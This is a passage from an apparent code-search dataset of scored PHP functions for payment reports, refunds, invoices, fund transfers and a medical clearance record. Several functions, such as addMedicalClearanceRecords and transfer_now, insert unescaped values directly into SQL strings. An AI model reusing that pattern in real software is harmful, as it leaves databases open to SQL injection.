class='cl1'><font face='verdana' size='1'><b>Declined</b></font></td>\");\n\t\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$creditdeclined</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditdeclinedAmt,2).\"</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditdeclinedPer,2).\"</font></td>\");\n\t\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Credit</b></font></td>\");\n\t\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$creditcanceled</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditcanceledAmt,2).\"</font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($creditcanceledPer,2).\"</font></td>\");\n\t\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Total</b></font></td>\");\n\t\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'><b>&nbsp;$creditcard</b></font></td>\");\n\t\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'><b>&nbsp;\".number_format($creditcardAmt,2).\"</b></font></td>\");\n\t\t\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format(round($creditcardPer),2).\"</font>\");\t \n\t\t\t print(\"</td></tr></table>\");\n\t\t\t print(\"</td>\");\n\t\t }\n\t\t $valgg=\"\";\n\t\t if($crorcq=='C'){\n\t\t\t $valgg=\" colspan=2 \";\n\t\t }\n\t\t if($crorcq=='C'){\n\t\t\t $valgg=\" colspan=2 \";\n\t\t }\n\t\tif($crorcq=='C' || $crorcq=='A')\n\t\t{\n\t\t $valgg=true;\n\t\t print(\"<td $valgg valign='top'><br>\");\n\t\t print(\"<P align='center'><font face='verdana' size='2'><B>Check Summary</span><br>\");\n\t\t print(\"<table class='lefttopright' cellpadding='5' cellspacing='0' valign='top' bgColor='#ffffff' ID='Table1' style=' margin-left: 4; margin-top: 4; margin-bottom: 5'><tr height='30' bgcolor='#CCCCCC'>\");\n\t\t print(\"<td align='center' class='cl1'><span class='subhd'>Check Details</span></td>\");\t\n\t\t print(\"<td align='center' class='cl1'><span class='subhd'>Quantity</span></td>\");\n\t\t print(\"<td align='right' class='cl1'><span class='subhd'>Amount ($)</span></td>\");\n\t\t print(\"<td align='right' class='cl1'><span class='subhd'>Percentage (%)</span></td></tr><tr>\");\n\t\t print(\"<td align='left' class='cl1'><font face='verdana' size='1'><b>Pending</b></font></td>\");\n\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$chequepending</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequependingAmt,2).\"</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequependingPer,2).\"</font></td>\");\n\n\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Non Pass</b></font></td>\");\n\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$chequenonpass</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequenonpassAmt,2).\"</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequenonpassPer,2).\"</font></td>\");\n\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Passed</b></font></td>\");\n\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$chequepass</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequepassAmt,2).\"</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequepassedPer,2).\"</font></td>\");\n\n\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Approved</b></font></td>\");\n\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$chequeapproved</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequeapprovedAmt,2).\"</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequeapprovedPer,2).\"</font></td>\");\n\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Declined</b></font></td>\");\n\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$chequedeclined</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequedeclinedAmt,2).\"</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequedeclinedPer,2).\"</font></td>\");\n\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Credit</b></font></td>\");\n\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$chequecanceled</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequecanceledAmt,2).\"</font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($chequecanceledPer,2).\"</font></td>\");\n\t\t print(\"</tr><tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Total</b></font></td>\");\n\t\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'><b>&nbsp;$cheque</b></font></td>\");\n\t\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'><b>&nbsp;\".number_format($chequeAmt,2).\"</b></font></td>\");\n\t\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format(round($chequePer),2).\"</font>\");\t \n\t\t print(\"</td></tr></table>\");\n\t\t print(\"</td>\");\n\t\t}\n\t print(\"<td $valgg valign='top'><br>\");\n\t print(\"<P align='center'><font face='verdana' size='2'><B>Total Summary</span><br>\");\n\t print(\"<table class='lefttopright' cellpadding='5' cellspacing='0' valign='top' bgColor='#ffffff' ID='Table1' style=' margin-left: 4; margin-top: 4; margin-bottom: 5'>\");\n\t \n\t print(\"<tr height='30' bgcolor='#CCCCCC'><td align='center' class='cl1'><span class='subhd'>Total Details</span></td>\");\t\n\t print(\"<td align='center' class='cl1'><span class='subhd'>Quantity</span></td>\");\n\t print(\"<td align='right' class='cl1'><span class='subhd'>Amount ($)</span></td>\");\n\t print(\"<td align='right' class='cl1'><span class='subhd'>Percentage (%)</span></td></tr>\");\n\t \n \t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Total</b></font></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'><b>&nbsp;$totalnum</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'><b>&nbsp;\".number_format($totamount,2).\"</b></font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format($cardPer,2).\"</font></td></tr>\");\t \n\n\t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Pending</span></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$pending</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($pendingAmt,2).\"</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($pendingPer,2).\"</font></td></tr>\");\n\t \n\t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Passed</b></font></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$passed</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($passedAmt,2).\"</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($passedPer,2).\"</font></td></tr>\");\n\n\t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Non Pass</b></font></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$nonpassed</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($nonpassedAmt,2).\"</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($nonpassedPer,2).\"</font></td></tr>\");\n\n\t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Approved</b></font></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$approved</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($approvedAmt,2).\"</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($approvedPer,2).\"</font></td></tr>\");\n\n\t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Declined</b></font></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$declined</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($declinedAmt,2).\"</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($declinedPer,2).\"</font></td></tr>\");\n\n\t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Credit</b></font></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$canceled</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($canceledAmt,2).\"</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($canceledPer,2).\"</font></td></tr>\");\n\n\t print(\"<tr><td align='left' class='cl1'><font face='verdana' size='1'><b>Voice Upload</b></font></td>\");\n\t print(\"<td align='center' class='cl1'><font face='verdana' size='1'>&nbsp;$voice_count_uploads</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($i_total_voice_amt,2).\"</font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".$voiceauthPre.\"</font></td></tr>\");\n\t \n\t print(\"<tr bgcolor='#CCCCCC'><td align='left' class='cl1' colspan='2'><span class='subhd'>Deductions</span></td>\");\n\t print(\"<td align='right' class='cl1'><span class='subhd'>Deducted Amount</span></td>\");\n\t print(\"<td align='right' class='cl1'><span class='subhd'>Amount per transaction</span></td></td></tr>\");\n\n\t print(\"<tr><td align='left' class='cl1' colspan='2'><font face='verdana' size='1'><b>Charge Back</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($charge_back_amount,2).\"</font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format($i_charge_back,2).\"</font></td></tr>\");\t \n\n\t print(\"<tr><td align='left' class='cl1' colspan='2'><font face='verdana' size='1'><b>Credit</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($credit_amount,2).\"</font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format($i_credit,2).\"</font></td></tr>\");\t \n\n\t /*print(\"<tr><td align='left' class='cl1' colspan='2'><font face='verdana' size='1'><b>Discount</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($i_discount_amt,2).\"</font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format($i_discount_rate,2).\"%</font></td></tr>\");*/\t \n\n\t print(\"<tr><td align='left' class='cl1' colspan='2'><font face='verdana' size='1'><b>Declines</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($decline_deduction,2).\"</font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format($i_transaction_fee,2).\"</font></td></tr>\");\t \n\n\t /*print(\"<tr><td align='left' class='cl1' colspan='2'><font face='verdana' size='1'><b>No pass</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($nopass_deduction,2).\"</font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format($trans_voicefee,2).\"</font></td></tr>\");\t*/ \n\n\t print(\"<tr><td align='left' class='cl1' colspan='2'><font face='verdana' size='1'><b>Voice Authorization</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'>&nbsp;\".number_format($i_voiceauth_amt,2).\"</font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;\".number_format($trans_voicefee,2).\"</font></td></tr>\");\t \n\n\t print(\"<tr><td align='left' class='cl1' colspan='2'><font face='verdana' size='1'><b>Net Amount</b></font></td>\");\n\t print(\"<td align='right' class='cl1'><font face='verdana' size='1'><b>&nbsp;\".number_format($i_net_amt,2).\"</b></font></td>\");\n\t print(\"<td align='right' class='bottom'><font face='verdana' size='1'>&nbsp;</font></td></tr>\");\t \n\n\t print(\"</table>\");\n\t print(\"</td>\");\n\t print(\"</tr></table>\");\n\t}\n\telse\n\t{\n\t\tprint(\"<br>\");\n\t\tif($str_company_id != \"A\")\n\t\t{\n\t\t\tprint(\"<P align='center'><font face='verdana' size='2'><B>\".func_get_value_of_field($cnn_connection,\"cs_companydetails\",\"companyname\",\"userid\",$str_company_id).\"</B></font></p>\");\n\t\t}\n\t\tprint(\"<center><font face='verdana' size='1' ><B>No transactions for this period</B></font><center><br>\");\n\t}\n\t \n}", "title": "" }, { "docid": "d2912b1e0d276255644ceb729a32a33e", "score": "0.47708845", "text": "public function hookBackOfficeHeader()\n\t{\n\t\tif (!Tools::getIsset('vieworder') || !Tools::getIsset('id_order'))\n\t\t\treturn;\n\n\t\t/* If the \"Refund\" button has been clicked, check if we can perform a partial or full refund on this order */\n\t\tif (Tools::isSubmit('SubmitPaylikeRefund') && Tools::getIsset('paylike_amount_to_refund'))\n\t\t{\n\t\t\t$id_order = (int)Tools::getValue('id_order');\n\t\t\t$paylikeapi = new PaylikeAPI(Configuration::get('PAYLIKE_SECRET_KEY'));\n\t\t\t$payliketransaction = Db::getInstance()->getRow('SELECT * FROM '._DB_PREFIX_.'paylike_transactions WHERE order_id = '.(int)$id_order);\n\n\t\t\tif (!Validate::isPrice(Tools::getValue('paylike_amount_to_refund')))\n\t\t\t\t$this->context->controller->errors[] = Tools::displayError('Invalid amount to refund.');\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (isset($payliketransaction))\n\t\t\t\t{\n\t\t\t\t\t$fetch = $paylikeapi->transactions->fetch($payliketransaction['paylike_tid']);\n\t\t\t\t\t$refunded = ($fetch)? $fetch->transaction->refundedAmount / 100 : 0;\n\t\t\t\t\t$captured = ($fetch)? $fetch->transaction->capturedAmount / 100 : 0;\n\t\t\t\t\t$refunded = $refunded + Tools::getValue('paylike_amount_to_refund');\n\n\t\t\t\t\tif ($refunded > $captured)\n\t\t\t\t\t\t$this->context->controller->errors[] = Tools::displayError('Refunding amount must be smaller than captured amount.');\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$refundrequest = $paylikeapi->transactions->refund($payliketransaction['paylike_tid'], ['amount' => Tools::getValue('paylike_amount_to_refund') * 100]);\n\t\t\t\t\t\tif ($refundrequest == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$message =\n\t\t\t\t\t\t\t'Trx ID: '.$payliketransaction['paylike_tid'].'\n\t\t\t\t\t\t\tAuthorized Amount: '.($refundrequest->transaction->amount / 100).'\n\t\t\t\t\t\t\tCaptured Amount: '.($refundrequest->transaction->capturedAmount / 100).'\n\t\t\t\t\t\t\tRefunded Amount: '.($refundrequest->transaction->refundedAmount / 100).'\n\t\t\t\t\t\t\tOrder time: '.$refundrequest->transaction->created.'\n\t\t\t\t\t\t\tCurrency code: '.$refundrequest->transaction->currency;\n\n\t\t\t\t\t\t\t// change status to refunded\n\t\t\t\t\t\t\t$order = new Order((int)$id_order);\n\t\t\t\t\t\t\t$order->setCurrentState((int)Configuration::get('PS_OS_REFUND'), $this->context->employee->id);\n\n\t\t\t\t\t\t\t$id_cart = $refundrequest->transaction->custom->cartId;\n\t\t\t\t\t\t\t$msg = new Message();\n\t\t\t\t\t\t\t$message = strip_tags($message, '<br>');\n\t\t\t\t\t\t\tif (Validate::isCleanHtml($message))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (self::DEBUG_MODE)\n\t\t\t\t\t\t\t\t\tPrestaShopLogger::addLog('PaymentModule::validateOrder - Message is about to be added', 1, null, 'Cart', (int)$id_cart, true);\n\n\t\t\t\t\t\t\t\t$msg->message = $message;\n\t\t\t\t\t\t\t\t$msg->id_cart = (int)$id_cart;\n\t\t\t\t\t\t\t\t$msg->id_customer = (int)($order->id_customer);\n\t\t\t\t\t\t\t\t$msg->id_order = (int)$order->id;\n\t\t\t\t\t\t\t\t$msg->private = 1;\n\t\t\t\t\t\t\t\t$msg->add();\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$this->context->controller->confirmations[] = $this->l('Refunded successfully').'. '.$this->l('Refunded Amount : ').' '.$refundrequest->transaction->currency.' '.Tools::getValue('paylike_amount_to_refund');\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($refundrequest == false)\n\t\t\t\t\t\t\t$this->context->controller->errors[] = Tools::displayError('Refund Request Failed.');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$this->context->controller->errors[] = Tools::displayError('Invalid paylike transaction.');\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "dfe945652d1b3cf7d8459f6ab669bfe4", "score": "0.47639588", "text": "public function historyTransaction(Request $request)\n {\n $kdProfile = $this->getDataKdProfile($request);\n $body = $request->json()->all();//['req'];\n $body = $body['req'];\n $relativeUrl = '/api/v1/account/history';\n $methods = 'POST';\n $headers = $this->getHeaderBAGI($methods,$relativeUrl,$body);\n// return $headers;\n $dataJsonSend = $body;\n\n $url = $this->getUrl() .$relativeUrl;\n $response = $this->sendBridgingCurl($headers , $dataJsonSend, $url, $methods,'soap-xml');\n return $this->respond($response);\n }", "title": "" }, { "docid": "0db05e487f38c2aec0b8f33e72a75833", "score": "0.47605863", "text": "public function addMedicalClearanceRecords($omb, $fr, $deptid, $kickoffid , $reg_no, $omb_action, $fr_action) {\n $query = \"SELECT * from exitclearancedeptitems where deptid = '$deptid' and itemname = 'Outstanding Medical Bill'\";\n $stmt = $this->db->prepare($query);\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\n $tdatetime = date(\"Y-m-d h:i:sa\");\n\n $itemId = $row['itemid'];\n \n\n\n\n $query = \"SELECT * from exitclerancetransaction where itemid = '$itemId'\";\n $stmt = $this->db->prepare($query);\n $row_count = $this->db->query(\"SELECT * from exitclerancetransaction where itemid = '$itemId'\")->fetchColumn(); \n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\n $transId = uniqid();\n\n $sql = \"INSERT INTO exitclerancetransaction (transactionid, kickoffid, regno, deptid, itemid,itemcomment, itemcleared, tdatetime) VALUES ('$transId', '$kickoffid', '$reg_no', '$deptid','$itemId', '$omb', '$omb_action', '$tdatetime')\";\n $stmt = $this->db->query($sql);\n\n // Process FUlly Registered\n $query = \"SELECT * from exitclearancedeptitems where deptid = '$deptid' and itemname = 'Fully registered'\";\n $stmt = $this->db->prepare($query);\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\n $tdatetime = date(\"Y-m-d h:i:sa\");\n \n\n\n $itemId = $row['itemid'];\n\n\n\n\n $query = \"SELECT * from exitclerancetransaction where itemid = '$itemId'\";\n $stmt = $this->db->prepare($query);\n $row_count = $this->db->query(\"SELECT * from exitclerancetransaction where itemid = '$itemId'\")->fetchColumn(); \n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\n $transId = uniqid();\n\n $sql = \"INSERT INTO exitclerancetransaction (transactionid, kickoffid, regno, deptid, itemid,itemcomment, itemcleared, tdatetime) VALUES ('$transId', '$kickoffid', '$reg_no', '$deptid','$itemId', '$fr', '$fr_action', '$tdatetime')\";\n $stmt = $this->db->query($sql);\n\n\n if($stmt){\n header(\"location: ./medical.php\");\n return true;\n }else {\n header(\"location: ./medical.php\");\n return false;\n }\n\n \n }", "title": "" }, { "docid": "60df69051d3fd30e193ad20b9d8baa4d", "score": "0.47596312", "text": "public function company_invoice($invoice) {\n\n $this->db->select('ei.pymnt_due_id, c.crse_name, cc.class_name, cc.class_id, ei.invoice_id, ei.inv_date, \n\n ei.total_inv_amount, ei.total_unit_fees, ei.pymnt_due_id, ei.invoiced_on, ei.invoice_excess_amt, \n\n ei.total_inv_discnt, ei.total_inv_subsdy, ei.total_gst, ei.gst_rate, epd.discount_type, \n\n epd.discount_rate, epd.subsidy_amount, ei.gst_rule, ce.company_id')\n ->from('enrol_invoice ei')\n ->join('enrol_pymnt_due epd', 'epd.pymnt_due_id=ei.pymnt_due_id')\n ->join('class_enrol ce', 'ce.pymnt_due_id=ei.pymnt_due_id')\n ->join('course_class cc', 'cc.class_id=ce.class_id')\n ->join('course c', 'c.course_id=ce.course_id')\n ->where('ei.invoice_id', $invoice);\n\n\n\n $this->db->group_by('ce.class_id');\n\n $result = $this->db->get()->row();\n\n $this->db->select_sum('er.amount_refund', 'amount_refund');\n\n $this->db->from('enrol_refund er')->where('er.invoice_id', $invoice);\n\n $this->db->group_by('er.invoice_id');\n\n $amount_refund = $this->db->get()->row()->amount_refund;\n\n $result->amount_refund = empty($amount_refund) ? 0 : round($amount_refund, 2);\n \n $result->amount_recd = $this->check_payment_recived($invoice);\n\n return $result;\n }", "title": "" }, { "docid": "2018d5e60ef09b84c32627220063af39", "score": "0.47586316", "text": "public function transfer_now($amount,$sponsorID,$event,$give_to)\n\t{\n\t\t$user_info = $this->session->userdata('logged_user');\n\t\t$user_id = $user_info['user_id'];\n\t\t//\n\t\t$receiver_referral_code = singleDbTableRow($give_to)->referral_code;\n\t\t//\n\t\t $get_sender = $this->db->get_where('em_events', ['event'=>$event]);\n\t\tforeach($get_sender->result() as $sc);\n\t\t $sender = $sc->organised_by;\n\t\t $sender_referral_code = singleDbTableRow($sender)->referral_code;\n\t\t//\n\t\t$data = [\n\t\t\t'event' => $event,\n\t\t\t'sponsorship' => $sponsorID,\n\t\t\t'transferred_to' => $give_to,\n\t\t\t'transferred_by' => $user_id,\n\t\t\t'transferred_amount' => $amount,\n\t\t\t'transferred_at' => time(),\n\t\t\t'created_by' \t => $user_id,\n\t\t\t'created_at' \t => time()\n\t\t\t];\n\t\t\t$query = $this->db->insert('em_fund_transfer', $data);\n\t\t\t//update table \n\t\t\t$data2 = [\n \t'transfer' => 1,\n\t\t\t'modified_by' \t\t\t=> $user_id,\n 'modified_at' \t\t\t=> time()\n ];\n\t\t\t$where_array = \" event='\".$event.\"' AND sponsorship = '\".$sponsorID.\"' AND give_to=\".$give_to.\"\";\n $query2 = $this->db->where($where_array)->update('em_sponsorship', $data2);\n\t\t\tif($query && $query2)\n\t\t\t{\n\t\t\t\t/* paytype*/$get_paytype = $this->db->get_where('business_groups', ['id'=>23]);\n\t\t\t\tforeach($get_paytype->result() as $p);\n\t\t\t\t $pay = $p->pay_type;/* */\n\t\t\t\t \n\t\t\t\t$pay_by_referral_code \t= \t$sender_referral_code;\t// Sender's referral_code, ex : 5559990001\n\t\t\t\t$pay_to_referral_code \t= \t $receiver_referral_code;// Receiver's referral_code, ex : 5164830972\n\t\t\t\t$amount_to_pay\t\t \t=\t$amount;\t\t\t// Total amont to pay (or) transfer, ex : 100\n\t\t\t\t$pay_spec_type\t\t\t=\t$pay;\t\t\t\t// Pay Type, ex : 66(SMB Consumer to Company), 73(\"CMS\" Consumer to Company)\n\t\t\t\t$transaction_remarks\t=\t'Event Management Contribution';\t// remarks to insert into invoice table, ex : \"Transfer Values\";\n\t\t\t\t$pm_mode\t\t\t\t=\t'wallet';\t\t\t// points_mode, ex : wallet, loyality, discount.\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$insert = $this->payment_model->make_my_payment($pay_by_referral_code, $pay_to_referral_code, $amount_to_pay, $pay_spec_type, $transaction_remarks, $pm_mode);\n\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t}", "title": "" }, { "docid": "0710b2835a4cbdcc3805fae04223c4a1", "score": "0.47571644", "text": "function prepaid_invoice_remainder($order)\n{\n $sql = \"SELECT so.total - IFNULL(SUM(inv.prep_amount),0) FROM \"\n . TB_PREF . \"sales_orders so,\n\t\t\" . TB_PREF . \"debtor_trans inv,\n\t\t\" . TB_PREF . \"payment_terms pt\n\t\tWHERE so.order_no=\" . db_escape($order)\n . \" AND so.trans_type=\" . ST_SALESORDER\n . \" AND inv.type=\" . ST_SALESINVOICE\n . \" AND inv.order_=so.order_no\"\n . \" AND so.payment_terms=pt.terms_indicator\"\n . \" AND inv.payment_terms=pt.terms_indicator\"\n . \" AND pt.days_before_due = -1\";\n\n $result = db_fetch(db_query($sql, \"cannot find final invoice value\"));\n return $result[0] ? $result[0] : 0;\n}", "title": "" }, { "docid": "73e02c13eb9f4ac1b0c75dad2a43f686", "score": "0.47498637", "text": "public function actionRenewStatus(){\r\n\t\t$months = array (1 => 'January',2 => 'February',3 => 'March',4 => 'April',5 => 'May',6 => 'June',7 => 'July',8 => 'August',9 => 'September',10 => 'October',11 => 'November',12 => 'December');\r\n\t\t$criteria = new CDbCriteria;\r\n\t\t$criteria -> compare('id_call_type',CallType::model() -> getNumber('assigned'));\r\n\t\t$time = new DateTime('2 months ago');\r\n\t\t$criteria -> addCondition('date > FROM_UNIXTIME('.$time -> getTimestamp().')');\r\n\t\t//Находим все звонки, статус которых \"записан\" и они не старше 2 месяцев.\r\n\t\t$assigned = BaseCall::model() -> findAll($criteria);\r\n\t\tif (count($assigned) > 0) {\r\n\t\t\t$api = new GoogleDocApiHelper();\r\n\t\t\t$types = CallType::model() -> findAll();\r\n\t\t\tforeach($types as $t) {\r\n\t\t\t\t$temp = array('count' => 0, 'name' => $t -> name);\r\n\t\t\t\t$changed[$t -> id] = $temp;\r\n\t\t\t}\r\n\t\t\tunset($temp);\r\n\t\t\tforeach($assigned as $bCall){\r\n\t\t\t\t$time = strtotime($bCall -> date);\r\n\t\t\t\t//Массив даты, на которую запись.\r\n\t\t\t\t$arr = getdate($time);\r\n\t\t\t\t$month = $arr['mon'];\r\n\t\t\t\t$year = $arr['year'];\r\n\t\t\t\t//День, месяц поступления звонка.\r\n\t\t\t\t$dateString_arr = array_filter(explode('.',$bCall -> dateString));\r\n\t\t\t\t$alterMon = end($dateString_arr);\r\n\t\t\t\t//В нормальной ситауции месяц звонка меньше месяца записи, но если не так, то звонок был в предыдущем году.\r\n\t\t\t\tif ($alterMon > $month) {\r\n\t\t\t\t\t$year --;\r\n\t\t\t\t}\r\n\t\t\t\t//Получили название листа гугл дока.\r\n\t\t\t\t$work = $months[$month].' '.$year;\r\n\t\t\t\t//Количество параметров, по которым происходит посик.\r\n\t\t\t\t$params = 1;\r\n\t\t\t\t$queryString = \"дата = {$bCall -> dateString}\";\r\n\t\t\t\tif ($bCall -> repair_type) {\r\n\t\t\t\t\t$queryString .= ' and типописаниеремонта=\"'.$bCall -> repair_type.'\"';\r\n\t\t\t\t\t$params ++;\r\n\t\t\t\t}\r\n\t\t\t\tif ($bCall -> company) {\r\n\t\t\t\t\t$queryString .= ' and компания = \"'.$bCall -> company.'\"';\r\n\t\t\t\t\t$params ++;\r\n\t\t\t\t}\r\n\t\t\t\tif ($bCall -> fio) {\r\n\t\t\t\t\t$queryString .= ' and фио = \"'.$bCall -> fio.'\"';\r\n\t\t\t\t\t$params ++;\r\n\t\t\t\t}\r\n\t\t\t\tif ($bCall -> birth) {\r\n\t\t\t\t\t$queryString .= ' and датарождения = \"'.$bCall -> birth.'\"';\r\n\t\t\t\t\t$params ++;\r\n\t\t\t\t}\r\n\t\t\t\t$qArr = array('sq' => $queryString);\r\n\t\t\t\t//Ищем запись.\r\n\t\t\t\t$entry = $api -> searchEverywhere($qArr, $work);\r\n\r\n\t\t\t\tif ($entry) {\r\n\t\t\t\t\t$entry = $entry -> getValues();\r\n\t\t\t\t\t$tempCall = new Call(array());\r\n\t\t\t\t\t$tempCall -> report = $entry['отчетпозвонку'];\r\n\t\t\t\t\t$tempCall -> State = $entry['sa'];\r\n\t\t\t\t\t$newId = $tempCall -> ClassifyId();\r\n\t\t\t\t\tif ($newId != $bCall -> id_call_type) {\r\n\t\t\t\t\t\t$bCall -> id_call_type = $newId;\r\n\t\t\t\t\t\t$bCall -> save();\r\n\t\t\t\t\t\t//Наращиваем счетчик увеличенных статусов.\r\n\t\t\t\t\t\t$changed[$bCall -> id_call_type]['count'] ++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$was = count($assigned);\r\n\t\t\techo \"Обновление статусов проведено. До начала процедуры было $was звонков со статусом Записан<br/>\";\r\n\t\t\techo \"Ниже приведено количество записей, которые приобрели какой-либо статус.<br/>\";\r\n\t\t\tunset($changed['Записан']);\r\n\t\t\t$ch = 